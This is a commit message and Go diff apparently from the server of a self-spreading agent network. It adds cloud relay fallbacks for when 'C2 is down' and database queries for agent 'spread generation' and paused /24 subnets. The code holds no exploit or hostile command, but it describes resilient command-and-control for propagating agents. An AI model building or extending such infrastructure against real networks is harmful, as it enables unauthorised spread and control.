Add EventBridge policy fan-out for standalone degraded mode.

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.

server/internal/db/policy_snapshot.go

@@ -0,0 +1,39 @@
+package db
+
+import "time"
+
+// MaxSpreadGeneration returns the highest spread_generation among agents (policy genesis version).
+func (d *Database) MaxSpreadGeneration() (int, error) {
+	if d == nil {
+		return 0, nil
+	}
+	var max int
+	err := d.QueryRow(`SELECT COALESCE(MAX(spread_generation), 0) FROM agents`).Scan(&max)
+	return max, err
+}
+
+// ListPausedSubnetPrefixes returns /24 prefixes currently under immune spread pause.
+func (d *Database) ListPausedSubnetPrefixes() ([]string, error) {
+	if d == nil {
+		return nil, nil
+	}
+	if err := d.ensureSubnetSpreadPauseTable(); err != nil {
+		return nil, err
+	}
+	rows, err := d.Query(`SELECT prefix FROM subnet_spread_pause WHERE paused_until IS NOT NULL AND paused_until > ?`, time.Now().UTC())
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+	var out []string
+	for rows.Next() {
+		var p string
+		if err := rows.Scan(&p); err != nil {
+			return nil, err
+		}
+		if p = normalizeSubnetPrefix(p); p != "" {
+			out = append(out, p)
+		}
+	}
+	return out, rows.Err()
+}